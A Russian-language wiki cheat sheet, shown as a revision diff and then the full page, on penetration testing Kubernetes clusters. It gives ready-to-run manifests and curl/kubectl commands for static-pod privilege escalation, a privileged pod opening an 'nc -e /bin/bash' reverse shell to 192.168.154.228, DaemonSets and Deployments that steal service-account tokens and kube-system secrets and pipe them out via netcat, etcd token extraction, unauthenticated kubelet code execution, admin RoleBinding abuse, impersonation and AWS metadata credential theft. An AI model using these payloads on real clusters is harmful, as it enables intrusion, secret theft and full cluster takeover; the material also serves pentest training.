+ | "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000" | ||
+ | ] | ||
+ | } | ||
+ | ] | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | == Привилегии - Deployment == | ||
+ | |||
+ | Deployment - представление работающего приложения в кластере (например, количество его репликаций). | ||
+ | |||
+ | |||
+ | === Доступ - list === | ||
+ | |||
+ | Получить список всех deployments | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get deployments | ||
+ | kubectl get deployments -n custnamespace | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -v -s $APISERVER/api/v1/namespaces/<namespace>/deployments/ --header "Authorization: Bearer $TOKEN" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | === Доступ - create === | ||
+ | |||
+ | Аналогично "Pods - create", мы можем создать Deployment, у которого при старте будет выполняться наша команда. | ||
+ | |||
+ | В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666. | ||
+ | |||
+ | При желании, конфиг можно отредактировать, добавив: | ||
+ | |||
+ | 1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера. | ||
+ | |||
+ | 2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему | ||
+ | |||
+ | |||
+ | Все это можно найти в главе выше "Pods - create". | ||
+ | |||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="yaml" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | apiVersion: apps/v1 | ||
+ | kind: Deployment | ||
+ | metadata: | ||
+ | name: alpine | ||
+ | namespace: kube-system | ||
+ | spec: | ||
+ | replicas: 1 | ||
+ | selector: | ||
+ | matchLabels: | ||
+ | app: alpine | ||
+ | template: | ||
+ | metadata: | ||
+ | labels: | ||
+ | app: alpine | ||
+ | spec: | ||
+ | serviceAccountName: bootstrap-signer | ||
+ | automountServiceAccountToken: true | ||
+ | hostNetwork: true | ||
+ | containers: | ||
+ | - name: alpine | ||
+ | image: alpine | ||
+ | command: ["/bin/sh"] | ||
+ | args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl apply -f malicious-deployment.yaml | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | { | ||
+ | "apiVersion": "apps/v1", | ||
+ | "kind": "Deployment", | ||
+ | "metadata": { | ||
+ | "name": "alpine", | ||
+ | "namespace": "kube-system" | ||
+ | }, | ||
+ | "spec": { | ||
+ | "replicas": 1, | ||
+ | "selector": { | ||
+ | "matchLabels": { | ||
+ | "app": "alpine" | ||
+ | } | ||
+ | }, | ||
+ | "template": { | ||
+ | "metadata": { | ||
+ | "labels": { | ||
+ | "app": "alpine" | ||
+ | } | ||
+ | }, | ||
+ | "spec": { | ||
+ | "serviceAccountName": "bootstrap-signer", | ||
+ | "automountServiceAccountToken": true, | ||
+ | "hostNetwork": true, | ||
+ | "containers": [ | ||
+ | { | ||
+ | "name": "alpine", | ||
+ | "image": "alpine", | ||
+ | "command": [ | ||
+ | "/bin/sh" | ||
+ | ], | ||
+ | "args": [ | ||
+ | "-c", | ||
+ | "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000" | ||
+ | ] | ||
+ | } | ||
+ | ] | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Привилегии - Statefulsets == | ||
+ | |||
+ | Statefulsets - представление работающего приложения в кластере (например, количество его репликаций), схоже с Deployment. | ||
+ | |||
+ | |||
+ | === Доступ - create === | ||
+ | |||
+ | Аналогично "Pods - create", мы можем создать Statefulsets, у которого при старте будет выполняться наша команда. | ||
+ | |||
+ | TODO | ||
+ | |||
+ | |||
+ | |||
+ | == Привилегии - Replicationcontrollers == | ||
+ | |||
+ | Replicationcontrollers - организация репликаций приложений. | ||
+ | |||
+ | |||
+ | === Доступ - create === | ||
+ | |||
+ | Аналогично "Pods - create", мы можем создать Replicationcontrollers, у которого при старте будет выполняться наша команда. | ||
+ | |||
+ | TODO | ||
+ | |||
+ | |||
+ | == Привилегии - Replicasets == | ||
+ | |||
+ | Replicasets - организация репликаций приложений, схоже с Replicationcontrollers. | ||
+ | |||
+ | |||
+ | === Доступ - create === | ||
+ | |||
+ | Аналогично "Pods - create", мы можем создать Replicasets, у которого при старте будет выполняться наша команда. | ||
+ | |||
+ | TODO | ||
+ | |||
+ | |||
+ | == Привилегии - Jobs == | ||
+ | |||
+ | Jobs - запускает один или несколько Pod'ов и будет пытаться повторить их запуск пока определенное количество Pod'ов не завершится успешно. | ||
+ | |||
+ | |||
+ | === Доступ - create === | ||
+ | |||
+ | Аналогично "Pods - create", мы можем создать Jobs, у которого при старте будет выполняться наша команда. | ||
+ | |||
+ | TODO | ||
+ | |||
+ | |||
+ | == Привилегии - Cronjobs == | ||
+ | |||
+ | Cronjobs - запускает Jobs по расписанию. | ||
+ | |||
+ | === Доступ - list === | ||
+ | |||
+ | Позволяет получить список CronJobs, которые в дальнейшем могут быть выбраны целью для атаки. | ||
+ | |||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get cronjobs | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -v -s $APISERVER/apis/batch/v1/namespaces/default/cronjobs --header "Authorization: Bearer $TOKEN" -k | ||
+ | curl -v -s $APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs --header "Authorization: Bearer $TOKEN" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | === Доступ - create === | ||
+ | |||
+ | Аналогично "Pods - create", мы можем создать Cronjobs, у которого при старте будет выполняться наша команда. | ||
+ | |||
+ | TODO | ||
+ | |||
+ | |||
+ | == Привилегии - RoleBinding == | ||
+ | |||
+ | RoleBinding - связывает пользователей и роли. | ||
+ | |||
+ | === Доступ - create === | ||
+ | |||
+ | Мы можем прикрепить к нашему пользователю роль администратора и получить контроль над kuberntetes. | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | Создаем YAML-файл (указать kind, name и namespace аккаунта - в примере sa-comp): | ||
+ | |||
+ | <syntaxhighlight lang="yaml" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | apiVersion: rbac.authorization.k8s.io/v1 | ||
+ | kind: RoleBinding | ||
+ | metadata: | ||
+ | name: malicious-rolebinding | ||
+ | namespaces: default | ||
+ | roleRef: | ||
+ | apiGroup: '*' | ||
+ | kind: ClusterRole | ||
+ | name: admin | ||
+ | subjects: | ||
+ | - kind: ServiceAccount | ||
+ | name: sa-comp | ||
+ | namespace: default | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Выполняем файл: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl apply -f malicious-rolebinding.yaml | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== curl ==== | ||
+ | |||
+ | Создаем JSON-файл (указать kind, name и namespace аккаунта - в примере sa-comp): | ||
+ | |||
+ | <syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | { | ||
+ | "apiVersion": "rbac.authorization.k8s.io/v1", | ||
+ | "kind": "RoleBinding", | ||
+ | "metadata": { | ||
+ | "name": "malicious-rolebinding", | ||
+ | "namespaces": "default" | ||
+ | }, | ||
+ | "roleRef": { | ||
+ | "apiGroup": "*", | ||
+ | "kind": "ClusterRole", | ||
+ | "name": "admin" | ||
+ | }, | ||
+ | "subjects": [ | ||
+ | { | ||
+ | "kind": "ServiceAccount", | ||
+ | "name": "sa-comp", | ||
+ | "namespace": "default" | ||
+ | } | ||
+ | ] | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Выполняем запрос | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -v -s $APISERVER/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -H "Content-Type: application/json" -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | |||
+ | == Привилегии - Impersonate == | ||
+ | |||
+ | Impersonate - позволяет делать запросы от имени другого аккаунта. | ||
+ | |||
+ | === kubectl === | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get secrets --as=superman --as-group=system:masters | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | === curl === | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -v -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -k | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Примеры заголовков, которые могут потребоваться: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | Impersonate-User: jane.doe@example.com | ||
+ | Impersonate-Group: developers | ||
+ | Impersonate-Group: admins | ||
+ | </syntaxhighlight> | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | Impersonate-User: jane.doe@example.com | ||
+ | Impersonate-Extra-dn: cn=jane,ou=engineers,dc=example,dc=com | ||
+ | Impersonate-Extra-acme.com%2Fproject: some-project | ||
+ | Impersonate-Extra-scopes: view | ||
+ | Impersonate-Extra-scopes: development | ||
+ | Impersonate-Uid: 06f6ce97-e2c5-4ab8-7ba5-7654dd08d52b | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | = Стороннее ПО = | ||
+ | |||
+ | == cAdvisor == | ||
+ | |||
+ | Собирает статистику по контейнерам. | ||
+ | |||
+ | Репозиторий: https://github.com/google/cadvisor | ||
+ | |||
+ | Порты: 4194/tcp. | ||
+ | |||
+ | |||
+ | === Получение информации === | ||
+ | |||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl -k https://<IP Address>:4194 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Calico == | ||
+ | |||
+ | Дополнение Kubernetes, которое позволяет более гибко настраивать и управлять сетевыми политиками в Kubernetes. | ||
+ | |||
+ | |||
+ | Порты: 9099/tcp(calico-felix -демон запущенных на всех машинах обслуживающихся Calico). | ||
+ | |||
+ | |||
+ | === Calico - Typha === | ||
+ | |||
+ | Компонент Calico для расширения Kubernetes deployment. | ||
+ | |||
+ | |||
+ | Порты: 5473/tcp. | ||
+ | |||
+ | |||
+ | == Weave Score == | ||
+ | |||
+ | |||
+ | Инструмент для мониторинга кластеров Docker и Kubernetes. | ||
+ | |||
+ | |||
+ | Порты: 6782/tcp, 6783/tcp, 6784/tcp (метрики и api-endpoints), 4040/tcp (WEB-UI). | ||
+ | |||
+ | |||
+ | == Helm == | ||
+ | |||
+ | Пакетный менеджер для Kubernetes. Используется для управления чартами (чарт - набор данных для создания приложения в кластере). | ||
+ | |||
+ | |||
+ | Порты: 44134/tcp (tiller). | ||
+ | |||
+ | |||
+ | === Поиск === | ||
+ | |||
+ | ==== kubectl ==== | ||
+ | |||
+ | Для поиска можно выполнить следующие команды: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kubectl get pods | grep -i "tiller" | ||
+ | kubectl get services | grep -i "tiller" | ||
+ | kubectl get pods -n kube-system | grep -i "tiller" | ||
+ | kubectl get services -n kube-system | grep -i "tiller" | ||
+ | kubectl get pods -n <namespace> | grep -i "tiller" | ||
+ | kubectl get services -n <namespace> | grep -i "tiller" | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== nmap ==== | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | nmap -sV -v -p 44134 <subnet> | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | === Взаимодействие с сервисом === | ||
+ | |||
+ | Для взаимодействия с сервисом нужна утилита helm, после чего можно подключиться командой: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | helm --host tiller-deploy.kube-system:44134 version | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === Эксплуатация === | ||
+ | |||
+ | |||
+ | ==== Повышение привилегий ==== | ||
+ | |||
+ | |||
+ | Тк по умолчанию Helm2 установлен в kube-system namespace с большими привилегиями, то достаточно загрузить на него специальный проект https://github.com/Ruil1n/helm-tiller-pwn , который позволяет запускать команды: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | git clone https://github.com/Ruil1n/helm-tiller-pwn | ||
+ | helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn/pwnchart | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Подробнее про атаку: http://rui0.cn/archives/1573 | ||
+ | |||
+ | |||
+ | == Open Policy Agent == | ||
+ | |||
+ | Система применения политик в различных системах (не только Kubernetes) | ||
+ | |||
+ | === Gatekeeper === | ||
+ | |||
+ | Дает возможность принудительного применения политик в кластере Kubernetes. | ||
+ | |||
+ | = Облака = | ||
+ | |||
+ | В случае, если kubernetes запущен в облаке, то это позволяет нам получить доп. информацию. | ||
+ | |||
+ | |||
+ | Тут будет кратко, подробно про облака смотрите в соответствующих вики-заметках | ||
+ | |||
+ | == Amazon AWS == | ||
+ | |||
+ | В случае с AWS кратко: можно получить API-токен из контейнера путем запроса по следующему адресу: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | А дальше с этим токеном уже идти на страницу AWS и смотреть как дальше пентестить. | ||
+ | |||
+ | |||
+ | = Автоматизация эксплуатации = | ||
+ | |||
+ | == ctrsploit == | ||
+ | |||
+ | https://github.com/ctrsploit/ctrsploit | ||
+ | |||
+ | |||
+ | Запуск внутри контейнера, с эксплуатацией повышения привилегий. | ||
+ | |||
+ | === Сбор информации === | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | ./ctrsploit env w | ||
+ | ./ctrsploit env g | ||
+ | ./ctrsploit env c | ||
+ | ./ctrsploit env cap | ||
+ | ./ctrsploit env s | ||
+ | ./ctrsploit env a | ||
+ | ./ctrsploit env f | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === Эксплуатация === | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | ./ctrsploit e <название эксплоита> | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Список эксплоитов на момент создания статьи (v0.5.2): | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | cgroupv1-release_agent, ra escape tech by using the notify_on_release of cgroup v1 | ||
+ | cgroupv1-release_agent-unknown_rootfs, ra3 escape tech by using the notify_on_release of cgroup v1 without known rootfs | ||
+ | cgroup_mount-bypass-cgroupv1-release_agent, ra2, cve-2022-0492, 0492, cgroup_mount_bypass cve-2022-0492: escape tech by using the notify_on_release of cgroup v1 after cgroup_mount bypass | ||
+ | CVE-2021-22555, 22555 escape tech by using the CVE-2021-22555 | ||
+ | CVE-2020-8555, 8555 k8s CVE-2020-8555 SSRF | ||
+ | CVE-2017-1002101, subPath1, 1002101, CVE-2017-1002101, 2017-1002101 CVE-2017-1002101 | ||
+ | help, h Shows a list of commands or help for one command | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == kube-hunter == | ||
+ | |||
+ | https://github.com/aquasecurity/kube-hunter | ||
+ | |||
+ | Больше по сетевому взаимодействию, умеет работать с конфигами и удаленно. | ||
+ | |||
+ | Много настроек, примеры запуска: | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | kube-hunter --cidr 192.168.0.0/24 --active | ||
+ | kube-hunter --remote some.domain.com --active | ||
+ | kube-hunter --active --service-account-token eyJhbGciOiJSUzI1Ni... | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == CDK == | ||
+ | |||
+ | https://github.com/cdk-team/CDK | ||
+ | |||
+ | Утилита для повышения привилегий из контейнера (+ опции для сканирования kubernetes). | ||
+ | |||
+ | |||
+ | |||
+ | Состоит из 3х модулей: | ||
+ | |||
+ | 1. Evaluate - Сбор информации | ||
+ | |||
+ | 2. Exploit - Запуск эксплоитов | ||
+ | |||
+ | 3. Tool - Дополнительные инструменты. | ||
+ | |||
+ | |||
+ | |||
+ | Также есть версии: | ||
+ | |||
+ | 1. All - максимальные проверки | ||
+ | |||
+ | 2. Normal | ||
+ | |||
+ | 3. Thin - оптимизация для контейнеров с коротким жизненным циклом | ||
+ | |||
+ | 4. Upx - помогает обходить сигнатурные средства защиты | ||
+ | |||
+ | |||
+ | === Сбор информации === | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | cdk evaluate --full | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | === Эксплуатация === | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | cdk run --list | ||
+ | cdk run <script-name> [options] | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | === Сторонние утилиты === | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | cdk nc | ||
+ | cdk ps | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Полный список утилит в README.md | ||
+ | |||
+ | == kdigger == | ||
+ | |||
+ | https://github.com/quarkslab/kdigger | ||
+ | |||
+ | |||
+ | Утилита нужна только, чтобы понять запущен ли код внутри контейнера или нет. Схоже функционалом с amicontained, но поновее. | ||
+ | Также делает дополнительные проверки, которые могут помочь при container escape. | ||
+ | |||
+ | Важно! Есть некоторые проверки, которые могут повлиять на кластер, но они доступны только с опцией --active/-a. | ||
+ | |||
+ | |||
+ | == Peirates == | ||
+ | |||
+ | https://github.com/inguardians/peirates | ||
+ | |||
+ | Инструмент для пентеста куберов и постэксплуатации, например, сбора secrets с Node. | ||
+ | |||
+ | |||
+ | Очень много опций, лучше самостоятельно изучить при запуске. | ||
+ | |||
+ | == BOtB == | ||
+ | |||
+ | https://github.com/brompwnie/botb | ||
+ | |||
+ | |||
+ | Утилита для анализа и эксплуатации контейнеров. | ||
+ | В случае с кубером может искать сервисные аккаунты и автоматически заюзать их секреты. | ||
+ | |||
+ | |||
+ | == DEEPCE == | ||
+ | |||
+ | https://stealthcopter.github.io/deepce/ | ||
+ | |||
+ | |||
+ | https://github.com/stealthcopter/deepce | ||
+ | |||
+ | |||
+ | Повышение привилегий/побег из контейнера docker. | ||
+ | |||
+ | == kubesploit == | ||
+ | |||
+ | https://github.com/cyberark/kubesploit | ||
+ | |||
+ | Post-Exploitation framework. Много модулей: | ||
+ | |||
+ | - Побег из контейнера | ||
+ | |||
+ | - Поиск информации kubernetes (сеть) | ||
+ | |||
+ | - Сканы контейнеров kubeletctl | ||
+ | |||
+ | |||
+ | = Ссылки = | ||
+ | |||
+ | |||
+ | == Заметки == | ||
+ | |||
+ | [https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes HackTricks] | ||
+ | |||
+ | |||
+ | == Новостные каналы == | ||
+ | |||
+ | [https://t.me/k8security Telegram k8security] | ||
+ | |||
+ | == Лабы == | ||
+ | |||
+ | [https://github.com/quarkslab/minik8s-ctf minik8s ctf] | ||
+ | |||
+ | [https://www.katacoda.com/cyberarkcommons/scenarios/kubesploit kubesploit lab] |
Текущая версия на 17:22, 14 марта 2022
Статья посвящена тестированию на проникновение Kubernetes.
Предварительно статья разделена на сервисы и как их можно найти, эксплуатировать и может быть закрепиться.
Содержание
- 1 Общее
- 2 DNS
- 3 Node
- 4 Pod
- 5 Etcd
- 6 NodePort
- 7 API-server
- 8 Kubelet API
- 9 Kube-proxy
- 10 Role-Based Access Control
- 10.1 Список привилегий
- 10.2 Привилегии - services
- 10.3 Привилегии - api-resources
- 10.4 Привилегии - roles
- 10.5 Привилегии - ClusterRoles
- 10.6 Привилегии - Namespaces
- 10.7 Привилегии - serviceaccounts
- 10.8 Привилегии - Nodes
- 10.9 Привилегии - secrets
- 10.10 Привилегии - logs
- 10.11 Привилегии - pods
- 10.12 Привилегии - DaemonSet
- 10.13 Привилегии - Deployment
- 10.14 Привилегии - Statefulsets
- 10.15 Привилегии - Replicationcontrollers
- 10.16 Привилегии - Replicasets
- 10.17 Привилегии - Jobs
- 10.18 Привилегии - Cronjobs
- 10.19 Привилегии - RoleBinding
- 10.20 Привилегии - Impersonate
- 11 Стороннее ПО
- 12 Облака
- 13 Автоматизация эксплуатации
- 14 Ссылки
Общее
Запросы к API (шпаргалка)
https://kubernetes.io/ru/docs/reference/kubectl/cheatsheet/
Настройка утилит
kubectl
Для общения с API можно воспользоваться стандартным ПО kubectl.
Пример запроса:
kubectl get secrets
Запросы можно делать inline с токеном:
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true
curl
Для curl кроме стандартных параметров (токен, неймспейс) потребуется адрес API-сервера.
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# Лишняя строка, но можно использовать с curl --cacert ${CACERT}
# export CACERT=${SERVICEACCOUNT}/ca.crt
curl -k --header "Authorization: Bearer ${TOKEN}" https://${APISERVER}/path
Текущая конфигурация
Конфиг
Общая информация
kubectl config view
Пользователи
Список пользователей
kubectl config get-users
kubectl config view -o jsonpath='{.users[*].name}'
Удалить пользователя
kubectl config unset users.foo
Контексты
Список контекстов
kubectl config get-contexts
Текущий контекст
kubectl config current-context
Установить контекст
kubectl config use-context my-cluster-name
Namespace
Установить namespace по-умолчанию
kubectl config set-context --current --namespace=ggckad-s2
DNS
DNS при тестировании kubernetes больше может потребоваться для разведки.
Например, основные субдомены kubernetes выглядят как:
k8s.*
Для разведки DNS стоит обратиться к соответствующей статье тк задача не будет привязана к Kubernetes.
Node
Физическая или виртуальная машина, на которой выполняются Pod(контейнеры).
Эксплуатация
Static pod privelege escalation
Static pod - pod, который можно создать только на том же Node, где вы сейчас находитесь.
Кратко: в случае возможности записи по пути /etc/kubernetes/manifests, вы можете создать привилегированный контейнер и получить рута на Node.
1. Создаете файл yaml
2. Помещаете его в /etc/kubernetes/manifests/
3. Ждете перезапуска (или мб автоматом запустит)
4. Заходите в Pod
5. Pod escape - вы рут на Node.
Из бонусов: ваш Pod будет виден в kubectl в соответствующем namespace, можно проводить социальную инженерию.
Пример конфигурации
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
command: ["/bin/sh"]
args: ["-c", 'nc -e /bin/bash 192.168.154.228 6666; sleep 100000']
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
Этот контейнер создаст backconnect соединение на 192.168.154.228:6666.
Важно! Два варианта событий может быть:
1. Нет netcat. Мб придется установить через apt-get или другую команду указать
2. Не нужен бекконнект - просто стереть command и args.
Pod
Группа из одного или нескольких приложений.
Локальные файлы
ca.crt - сертификат для проверки коммуникаций (можно отключить в curl функцией -k)
namespace - текущее рабочее пространство
token - сервисный токен Pod'а
Где их обычно можно найти:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
Переменные окружения
Команда для получения адреса API-сервера (обычно переменная KUBECONFIG):
(env | set) | grep -i "kuber|kube"
Etcd
Etcd - key-value база данных. Является одним из самых критичных ресурсов в котором хранятся например токены.
Порты: 2379/tcp, 6666/tcp
Эксплуатация
Анонимный доступ
У etcd может быть включен анонимный доступ, лучше проверить используя различные утилиты
etcdctl
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
curl
curl http://<MASTER-IP>:2379/v2/keys
Дамп базы
Доступ к Node
Если у нас есть исполнение команд на той же ноде, где крутится контейнер с etcd, то для поиска базы данных достаточно ввести следующую команду и перейти к пункту парсинга базы etcd.
ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
Либо воспользоваться утилитой etcdctl (лучше перейти в контейнер с etcd и там запустить команду):
docker ps
docker exec -it container_name /bin/bash
etcdctl get / --prefix --keys-only
Парсинг базы
Если у вас есть файл базы данных, то вы можете спарсить данные из него следующей командой:
strings /var/lib/etcd/member/snap/db | less
Извлечение токенов и servicename
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
NodePort
Используется для балансировки запросов.
Порты: 30000-32767/tcp (по-умолчанию, можно менять).
Поиск
Тк по-умолчанию запускается на определенном диапазоне tcp-портов, можно просканнировать их и найти ранее не исследованные сервисы.
nmap
nmap -sV -v -p 30000-32767 <IP>
API-server
Веб-сервер, предоставляющий API для управления kubernetes.
Порты: 443/tcp. 6443/tcp, 8080/tcp, 8443/tcp
По следующим URL можно определить, является ли веб-сервер Kubernetes API:
/swaggerapi
/healthz
/api/v1
Список плагинов
Как правило, доступ к API не анонимный. Но, в любом случае, попробуйте перейти сайт API мастера и если у вас есть права, то вы можете увидеть список Endpoint'ов.
Среди них могут оказаться плагины. В случае обнаружения плагинов перейдите на соответствующую главу данной вики-заметки.
Kubelet API
Агент, работающий на каждом узле в кластере. Следит за контейнерами на Pod'е.
Порты: 10250/tcp(https API - полный доступ к ноде), 10255/tcp(http-api read-only, без аутентификации)
Сбор информации
Информация о Pod'ах и их контейнерах:
http://<external-IP>:10255/pods
Эксплуатация
Отсутствие авторизации 10250/tcp
Если на сервере отсутствует авторизация, то можно проэксплуатировать RCE.
Чтобы проверить:
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
Если не вернуло "Unauthorized" - можно запустить код (подставить namespace, pod, container):
curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=ls' -d 'command=/
Также можно воспользоваться скриптом https://github.com/serain/kubelet-anon-rce
Kube-proxy
Сетевая прокся, работающая на каждом узле в кластере. Конфигурирует правила сети на узлах.
Порты: 10256/tcp(healthcheck).
Role-Based Access Control
Система по управлению ролями. Если проще - просто система контроля доступа, которая говорит куда у нас есть доступ и что это за доступ (get, list, update, delete).
Как правило, неправильная настройка доступа может привести к проблемам безопасности.
Список привилегий
Для получения списка доступных ресурсов у сервисного аккаунта, требуется выполнить следующую команду:
# Весь список привилегий
kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_name
